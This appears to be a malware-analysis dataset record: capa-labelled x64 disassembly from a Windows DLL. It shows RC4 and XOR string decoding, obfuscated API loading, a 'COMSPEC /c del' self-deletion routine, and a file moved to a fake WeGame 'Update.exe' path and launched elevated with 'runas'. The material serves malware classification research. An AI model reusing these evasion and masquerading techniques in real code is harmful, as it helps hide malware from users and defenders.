joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180097f40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
sub rsp, 0x18
mov eax, dword [0x180129fd0]
lea r8d, [rax - 1]
imul r8d, eax
test r8b, 1
mov esi, 0x1687ab27
mov edi, 0x70e0f995
cmove edi, esi
mov r9d, dword [0x180129fd4]
cmp r9d, 0xa
cmovl edi, esi
movsx edx, dl
mov esi, dword [0x180129fd8]
lea eax, [rsi - 1]
imul eax, esi
test al, 1
sete al
cmp dword [0x180129fdc], 0xa
mov dword [rsp + 4], edx
setl dl
or dl, al
mov r10d, 0x43bf2706
mov eax, 0x5c723b7b
cmove r10d, eax
mov edx, 0x6200747a
cmove edx, eax
mov esi, 0x48c90bec
mov r11d, 0x24d1788c
nop dword [rax]
cmp esi, 0x54d954fe
jle 0x1800980b0
cmp esi, 0x54d954ff
je 0x1800981bc
cmp esi, 0x5c723b7b
je 0x1800980cf
cmp esi, 0x6200747a
jne 0x180097fc0
test r8b, 1
sete byte [rsp + 1]
cmp r9d, 0xa
setl byte [rsp + 2]
mov esi, 0xe8ed0ecd
nop word cs:[rax + rax]
nop dword [rax]
cmp esi, 0x23c70a54
jg 0x180098040
cmp esi, 0xe8ed0ecd
je 0x18009805f
cmp esi, 0x1687ab27
je 0x18009807a
cmp esi, 0x20dfb5cd
jne 0x180098010
jmp 0x180098183
cmp esi, 0x23c70a55
je 0x180098081
cmp esi, 0x24d1788c
je 0x180098097
cmp esi, 0x70e0f995
jne 0x180098010
mov esi, 0x24d1788c
jmp 0x180098010
movzx eax, byte [rsp + 1]
cmp byte [rsp + 2], 0
mov esi, 0x70e0f995
cmovne esi, r11d
test al, al
cmovne esi, r11d
jmp 0x180098010
mov esi, 0x23c70a55
jmp 0x180098010
mov rax, qword [rsp + 8]
movzx eax, byte [rax]
mov byte [rsp + 3], al
mov esi, 0x20dfb5cd
jmp 0x180098010
mov qword [rsp + 8], rcx
mov esi, edi
jmp 0x180098010
cmp esi, 0x43bf2706
je 0x180098198
cmp esi, 0x48c90bec
jne 0x180097fc0
mov esi, edx
jmp 0x180097fc0
test r8b, 1
sete byte [rsp + 1]
cmp r9d, 0xa
setl byte [rsp + 2]
mov esi, 0xe8ed0ecd
nop word cs:[rax + rax]
cmp esi, 0x23c70a54
jg 0x180098120
cmp esi, 0xe8ed0ecd
je 0x18009813f
cmp esi, 0x1687ab27
je 0x18009815a
cmp esi, 0x20dfb5cd
jne 0x1800980f0
jmp 0x1800981a2
cmp esi, 0x23c70a55
je 0x180098161
cmp esi, 0x24d1788c
je 0x180098177
cmp esi, 0x70e0f995
jne 0x1800980f0
mov esi, 0x24d1788c
jmp 0x1800980f0
movzx eax, byte [rsp + 1]
cmp byte [rsp + 2], 0
mov esi, 0x70e0f995
cmovne esi, r11d
test al, al
cmovne esi, r11d
jmp 0x1800980f0
mov esi, 0x23c70a55
jmp 0x1800980f0
mov rax, qword [rsp + 8]
movzx eax, byte [rax]
mov byte [rsp + 3], al
mov esi, 0x20dfb5cd
jmp 0x1800980f0
mov qword [rsp + 8], rcx
mov esi, edi
jmp 0x1800980f0
movsx eax, byte [rsp + 3]
xor eax, dword [rsp + 4]
mov dword [rsp + 0x14], eax
mov esi, r10d
jmp 0x180097fc0
mov esi, 0x54d954ff
jmp 0x180097fc0
mov al, byte [rsp + 3]
mov eax, dword [rsp + 4]
mov eax, dword [rsp + 4]
mov eax, dword [rsp + 4]
mov esi, 0x6200747a
jmp 0x180097fc0
mov eax, dword [rsp + 0x14]
add rsp, 0x18
pop rdi
pop rsi
ret
Function at 0x1800c36d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x10
movzx eax, dx
mov dword [rsp + 4], eax
mov eax, dword [0x1801294f0]
mov r8d, dword [0x1801294f4]
lea r10d, [rax - 1]
imul r10d, eax
test r10b, 1
mov eax, 0xfcfc9706
mov r11d, 0x4f91cab6
cmove r11d, eax
cmp r8d, 0xa
cmovl r11d, eax
mov eax, 0x87104978
mov r9d, 0x3ce53b9c
nop word cs:[rax + rax]
cmp eax, 0x29660f8c
je 0x1800c37e0
cmp eax, 0x87104978
jne 0x1800c3720
test r10b, 1
sete byte [rsp]
cmp r8d, 0xa
setl byte [rsp + 1]
mov eax, 0x408b4473
nop dword [rax + rax]
cmp eax, 0x408b4472
jg 0x1800c3780
cmp eax, 0xe226d663
je 0x1800c37af
cmp eax, 0xfcfc9706
je 0x1800c37b6
cmp eax, 0x3ce53b9c
jne 0x1800c3750
mov eax, r11d
jmp 0x1800c3750
cmp eax, 0x5f03ec10
je 0x1800c37c4
cmp eax, 0x4f91cab6
je 0x1800c37bd
cmp eax, 0x408b4473
jne 0x1800c3750
movzx edx, byte [rsp]
cmp byte [rsp + 1], 0
mov eax, 0x4f91cab6
cmovne eax, r9d
test dl, dl
cmovne eax, r9d
jmp 0x1800c3750
mov eax, 0x5f03ec10
jmp 0x1800c3750
mov eax, 0xe226d663
jmp 0x1800c3750
mov eax, 0x3ce53b9c
jmp 0x1800c3750
mov qword [rsp + 8], rcx
mov rax, qword [rsp + 8]
movzx eax, word [rax]
mov word [rsp + 2], ax
mov eax, 0x29660f8c
jmp 0x1800c3720
movzx eax, word [rsp + 2]
mov ecx, eax
and ecx, 0x80f0
or ecx, 0x1106
and eax, 0x7f0f
xor eax, dword [rsp + 4]
xor eax, ecx
xor eax, 0x1106
add rsp, 0x10
ret
Function at 0x1800058f4
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0x7b
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180005901
mov byte [rcx + 0x7f], r11b
ret

Function at 0x180005924
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0xc
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180005931
mov byte [rcx + 0x10], r11b
ret

Function at 0x180005954
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0x13
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180005961
mov byte [rcx + 0x17], r11b
ret

Function at 0x180005984
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x7b
jb 0x18000598b
mov byte [rcx + 0x7f], 0
ret

Function at 0x1800059ac
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x38
jb 0x1800059b3
mov byte [rcx + 0x3c], 0
ret

Function at 0x1800059f4
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0xb
jb 0x1800059fb
mov byte [rcx + 0xf], 0
ret

Function at 0x180005a3c
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0xb
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180005a49
mov byte [rcx + 0xf], r11b
ret

Function at 0x180005a8c
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0x11
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180005a99
mov byte [rcx + 0x15], r11b
ret

Function at 0x180005abc
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x29
jb 0x180005ac3
mov byte [rcx + 0x2d], 0
ret

Function at 0x180005ae4
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 7
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180005af1
mov byte [rcx + 0xb], r11b
ret

Function at 0x180008bf8
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x46
jb 0x180008bff
mov byte [rcx + 0x4a], 0
ret
Function at 0x180008c40
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x51
jb 0x180008c47
mov byte [rcx + 0x55], 0
ret

Function at 0x180008c68
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x3b
jb 0x180008c6f
mov byte [rcx + 0x3f], 0
ret

Function at 0x180008cb0
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0x29
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180008cbd
mov byte [rcx + 0x2d], r11b
ret

Function at 0x180008d00
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0x18
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180008d0d
mov byte [rcx + 0x1c], r11b
ret

Function at 0x180008d30
Capabilities:
Encode data using xor

Disassembly:
lea rax, [rcx + 4]
mov r11d, 0x46
mov r10, rax
movsx r9d, byte [r10]
mov edx, dword [rcx]
movsx r8d, dl
mov edx, r9d
xor edx, r8d
mov byte [r10], dl
inc r10
sub r11, 1
jne 0x180008d3d
mov byte [rcx + 0x4a], r11b
ret
Function at 0x18000a0f8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov byte [rbp - 0x30], 0x77
xor ebx, ebx
mov byte [rbp - 0x2f], 0x7d
mov edx, ebx
mov byte [rbp - 0x2e], 0x6d
mov byte [rbp - 0x2d], 0x75
mov byte [rbp - 0x2c], 0x75
mov byte [rbp - 0x2b], 0x37
mov byte [rbp - 0x2a], 0x6d
mov byte [rbp - 0x29], 0x75
mov byte [rbp - 0x28], 0x75
mov byte [rbp - 0x27], bl
mov al, byte [rbp - 0x30]
movsx ecx, byte [rbp + rdx - 0x30]
sub ecx, 9
mov byte [rbp + rdx - 0x30], cl
inc rdx
cmp rdx, 9
jb 0x18000a133
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r8, rax
test rax, rax
je 0x18000a204
mov byte [rbp - 0x26], 0x57
mov rdx, rbx
mov byte [rbp - 0x25], 0x7d
mov byte [rbp - 0x24], 0x5a
mov byte [rbp - 0x23], 0x7e
mov byte [rbp - 0x22], 0x6e
mov byte [rbp - 0x21], 0x7b
mov byte [rbp - 0x20], 0x82
mov byte [rbp - 0x1f], 0x5c
mov byte [rbp - 0x1e], 0x82
mov byte [rbp - 0x1d], 0x7c
mov byte [rbp - 0x1c], 0x7d
mov byte [rbp - 0x1b], 0x6e
mov byte [rbp - 0x1a], 0x76
mov byte [rbp - 0x19], 0x52
mov byte [rbp - 0x18], 0x77
mov byte [rbp - 0x17], 0x6f
mov byte [rbp - 0x16], 0x78
mov byte [rbp - 0x15], 0x7b
mov byte [rbp - 0x14], 0x76
mov byte [rbp - 0x13], 0x6a
mov byte [rbp - 0x12], 0x7d
mov byte [rbp - 0x11], WSAStartup
mov byte [rbp - 0x10], 0x78
mov byte [rbp - 0xf], 0x77
mov byte [rbp - 0xe], bl
mov al, byte [rbp - 0x26]
movsx ecx, byte [rbp + rdx - 0x26]
sub ecx, 9
mov byte [rbp + rdx - 0x26], cl
inc rdx
cmp rdx, 0x18
jb 0x18000a1c7
lea rdx, [rbp - 0x26]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov word [rbp + 0x10], bx
lea rdx, [rbp + 0x10]
lea r8d, [r9 + 2]
lea ecx, [r9 + 0x23]
call rax
cmp byte [rbp + 0x10], bl
setne al
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x18000c0ac
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0xc
jb 0x18000c0b3
mov byte [rcx + 0x10], 0
ret

Function at 0x18000c0f4
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x2e
jb 0x18000c0fb
mov byte [rcx + 0x32], 0
ret

Function at 0x18000c13c
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x39
jb 0x18000c143
mov byte [rcx + 0x3d], 0
ret

Function at 0x18000c184
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 0x71
jb 0x18000c18b
mov byte [rcx + 0x75], 0
ret

Function at 0x18000c1ac
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
lea rax, [rcx + 4]
movsx edx, byte [rax + r9]
mov r8d, dword [rcx]
add r8b, r9b
xor r8d, edx
mov byte [rax + r9], r8b
inc r9
cmp r9, 7
jb 0x18000c1b3
mov byte [rcx + 0xb], 0
ret
Function at 0x18000c514
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0xf40]
mov eax, 0x1040
call fcn.180014a60
sub rsp, rax
xor esi, esi
mov rbx, rcx
mov dword [rbp + 0xf70], esi
mov dword [rbp + 0xf80], esi
cmp dword [rcx + 0x10], esi
je 0x18000c698
mov dword [rcx + 0x10], esi
cmp dword [rcx + 0xc], esi
jne 0x18000c698
movzx eax, word [rcx + 0x814]
lea r8d, [rsi + 0x10]
add ax, 0x18
mov word [rbp + 0xf8e], dx
mov word [rsp + 0x38], ax
lea r9, [rbp + 0xf70]
mov eax, dword [rcx + 8]
lea rdx, [rsp + 0x30]
mov rcx, qword [rcx]
lea r14d, [rsi + 5]
mov dword [rsp + 0x30], 0x3000005
mov dword [rsp + 0x34], r8d
mov word [rsp + 0x3a], si
mov dword [rsp + 0x3c], eax
mov dword [rbp + 0xf88], esi
mov word [rbp + 0xf8c], si
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000c698
mov rcx, qword [rbx]
lea r9, [rbp + 0xf70]
lea r8d, [rsi + 8]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0xf88]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000c698
mov r8d, dword [rbx + 0x814]
lea rdx, [rbx + 0x14]
mov rcx, qword [rbx]
lea r9, [rbp + 0xf70]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000c698
inc dword [rbx + 8]
lea rcx, [rsp + 0x40]
mov edi, 0x1000
xor edx, edx
mov r8d, edi
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbx]
lea r9, [rbp + 0xf80]
mov r8d, edi
mov qword [rsp + 0x20], rsi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000c698
cmp word [rsp + 0x40], r14w
jne 0x18000c698
cmp byte [rsp + 0x42], 2
jne 0x18000c698
cmp byte [rsp + 0x43], 3
jne 0x18000c698
movzx edi, word [rsp + 0x48]
cmp edi, dword [rbp + 0xf80]
jne 0x18000c698
cmp word [rsp + 0x54], si
jne 0x18000c698
add edi, 0xffffffe8
cmp edi, 0x800
ja 0x18000c698
mov r8d, edi
lea rcx, [rbx + 0x818]
lea rdx, [rsp + 0x58]
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
mov dword [rbx + 0x1018], edi
jmp 0x18000c69d
mov eax, 1
add rsp, 0x1040
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x18000def0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov dword [rsp + 0x20], 0x77
xor eax, eax
mov byte [rsp + 0x24], 0x2c
xor r8d, r8d
mov byte [rsp + 0x25], 0x5a
mov byte [rsp + 0x26], 0x2a
mov byte [rsp + 0x27], 0x57
mov byte [rsp + 0x28], 0x33
mov byte [rsp + 0x29], 0x12
mov byte [rsp + 0x2a], 0x1b
mov byte [rsp + 0x2b], 0x12
mov byte [rsp + 0x2c], 3
mov byte [rsp + 0x2d], 0x1e
mov byte [rsp + 0x2e], 0x19
mov byte [rsp + 0x2f], 0x10
mov byte [rsp + 0x30], 0x57
mov byte [rsp + 0x31], 4
mov byte [rsp + 0x32], 0x12
mov byte [rsp + 0x33], 0x1b
mov byte [rsp + 0x34], 0x11
mov byte [rsp + 0x35], al
mov al, byte [rsp + 0x24]
movsx edx, byte [rsp + r8 + 0x24]
mov eax, dword [rsp + 0x20]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rsp + r8 + 0x24], al
inc r8
cmp r8, 0x11
jb 0x18000df6f
lea rdx, [rsp + 0x24]
mov byte [rsp + 0x35], 0
lea rcx, [rbp - 0x50]
call fcn.1800037a0
mov rcx, rax
call fcn.18000de50
mov ebx, 0x104
lea rcx, [rbp - 0x30]
mov r8d, ebx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
lea rcx, [rbp + 0x1f0]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
lea rcx, [rbp + 0xe0]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [0x180021e10]
mov r8d, ebx
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x30]
call qword [0x180021cb0]
mov r8d, ebx
lea rdx, [rbp + 0x1f0]
lea rcx, str.COMSPEC
call qword [0x180021e80]
lea rdx, str._c_del
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.___nul
lea rcx, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, WSAStartup
lea rcx, [rsp + 0x40]
mov r8d, ebx
xor edx, edx
call sub.VCRUNTIME140.dll_memset
and qword [rsp + 0x48], 0
lea rax, str.Open
and qword [rsp + 0x68], 0
lea rcx, [rsp + 0x40]
and dword [rsp + 0x70], 0
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0xe0]
mov dword [rsp + 0x40], ebx
mov ebx, 0x40
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x44], ebx
call qword [0x180021d68]
test eax, eax
je 0x18000e109
mov rcx, qword [rbp - 0x58]
mov edx, ebx
call qword [0x180021d88]
call qword [0x180021d18]
mov rcx, rax
mov edx, 0x100
call qword [0x180021d88]
call qword [0x180021d20]
mov rcx, rax
lea edx, [rbx - 0x31]
call qword [0x180021e50]
xor r9d, r9d
lea r8, [rbp - 0x30]
lea edx, [rbx - 0x3b]
lea ecx, [rbx - 0x3c]
call qword [0x180021c80]
call qword [0x180021d18]
mov rcx, rax
xor edx, edx
call qword [0x180021e08]
call qword [0x180021d18]
mov rcx, rax
xor edx, edx
call qword [0x180021e08]
mov rbx, qword [rsp + 0x418]
add rsp, 0x400
pop rbp
ret
Function at 0x18000e760
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
lea rbp, [rax - 0x1c8]
sub rsp, 0x2c0
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov rbx, rcx
mov dword [rsp + 0x30], 8
mov byte [rsp + 0x34], 0x53
mov byte [rsp + 0x35], 0x25
mov byte [rsp + 0x36], 0x55
mov byte [rsp + 0x37], 0x28
mov byte [rsp + 0x38], 0x65
mov byte [rsp + 0x39], 0x67
mov byte [rsp + 0x3a], 0x7e
mov byte [rsp + 0x3b], 0x61
mov byte [rsp + 0x3c], 0x66
mov byte [rsp + 0x3d], WSAStartup
mov byte [rsp + 0x3e], 0x28
mov byte [rsp + 0x3f], 0x7b
mov byte [rsp + 0x40], 0x6d
mov byte [rsp + 0x41], 0x64
mov byte [rsp + 0x42], 0x6e
xor eax, eax
mov byte [rsp + 0x43], al
mov al, byte [rsp + 0x34]
xor r8d, r8d
movsx edx, byte [rsp + r8 + 0x34]
mov eax, dword [rsp + 0x30]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rsp + r8 + 0x34], al
inc r8
cmp r8, 0xf
jb 0x18000e7ea
mov byte [rsp + 0x43], 0
lea rdx, [rsp + 0x34]
lea rcx, [rsp + 0x70]
call fcn.1800037a0
mov rcx, rax
call fcn.18000de50
mov r8d, 0x104
lea rdx, [rbp - 0x50]
xor ecx, ecx
call qword [0x180021e70]
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x18000e844
mov rdx, qword [rbx]
lea rcx, [rsp + 0x48]
call fcn.1800060ec
nop
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
call qword [0x180021d28]
cmp eax, 0xffffffff
je 0x18000e874
test al, 0x10
je 0x18000e874
xor dil, dil
jmp 0x18000e877
mov dil, 1
lea rcx, [rsp + 0x48]
call fcn.180005b3c
test dil, dil
je 0x18000e89b
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x18000e893
mov rcx, qword [rbx]
xor edx, edx
call qword [0x180021de8]
xor r8d, r8d
lea rdx, str.C:Program_Files__x86_WegameUpdate.exe
lea rcx, [rbp - 0x50]
call qword [0x180021d10]
test eax, eax
je 0x18000e8e7
mov dword [rsp + 0x28], 1
lea rax, str.C:Program_Files__x86_Wegame
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, str.C:Program_Files__x86_WegameUpdate.exe
lea rdx, str.runas
xor ecx, ecx
call qword [0x180021df0]
call fcn.18000def0
jmp 0x18000e900
lea rdx, str.move_failed_
lea rcx, [rbp - 0x70]
call fcn.1800037a0
mov rcx, rax
call fcn.18000de50
nop
mov rcx, rbx
call fcn.180005b3c
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x18000e920
Capabilities:
Get file size

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x60
mov qword [rax - 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
movaps xmmword [rax - 0x18], xmm6
mov rbx, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x18000e949
mov rcx, qword [rcx]
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [0x180021da0]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000e9f1
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov rcx, rdi
test eax, eax
je 0x18000e9ea
xorps xmm6, xmm6
cvtsi2sd xmm6, qword [rsp + 0x70]
mulsd xmm6, qword [0x18001af80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18000e9de
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18000e9d9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000e9e3
mov rcx, r8
call fcn.180013bb4
movaps xmm0, xmm6
jmp 0x18000ea2f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18000ea27
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x18000ea22
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000ea4f
mov rcx, r8
call fcn.180013bb4
movsd xmm0, qword [0x18001af90]
and qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rbx, qword [rsp + 0x78]
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x60
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3

Function at 0x18000ea58
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x210
mov rdi, rdx
mov rbx, rcx
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18000ea8b
lea rdx, [0x18001abae]
jmp 0x18000eb28
xor edx, edx
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 0x30]
call sub.VCRUNTIME140.dll_memset
cmp qword [rdi + 0x18], 0x10
mov dword [rsp + 0x3c], 2
mov dword [rsp + 0x40], 1
jb 0x18000eab5
mov rdi, qword [rdi]
lea r9, [rsp + 0x230]
xor edx, edx
lea r8, [rsp + 0x38]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x18000ead9
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x18000ea7f
mov rdi, qword [rsp + 0x230]
test rdi, rdi
je 0x18000eb14
mov rdx, qword [rdi + 0x20]
lea r8, [rsp + 0x20]
mov r9d, 0x16
add rdx, 4
lea ecx, [r9 - 0x14]
call qword [sym.imp.WS2_32.dll_inet_ntop]
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x18000eae6
mov rdi, qword [rsp + 0x230]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.1800037a0
mov rax, rbx
mov rbx, qword [rsp + 0x220]
add rsp, 0x210
pop rdi
ret
Function at 0x18000f308
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xe0
mov rbx, rcx
mov edi, 0x68
mov r8d, edi
lea rcx, [rsp + 0x70]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x50]
mov dword [rsp + 0x70], edi
mov qword [rsp + 0x48], rax
xor edi, edi
lea rax, [rsp + 0x70]
mov dword [rsp + 0xac], 1
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
mov rdx, rbx
mov dword [rsp + 0x28], edi
xor ecx, ecx
mov dword [rsp + 0x20], edi
mov word [rsp + 0xb0], di
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x18000f3a8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.CreateProcess___failed_
call fcn.180010c2c
mov rcx, rax
lea rdx, [0x180010db4]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
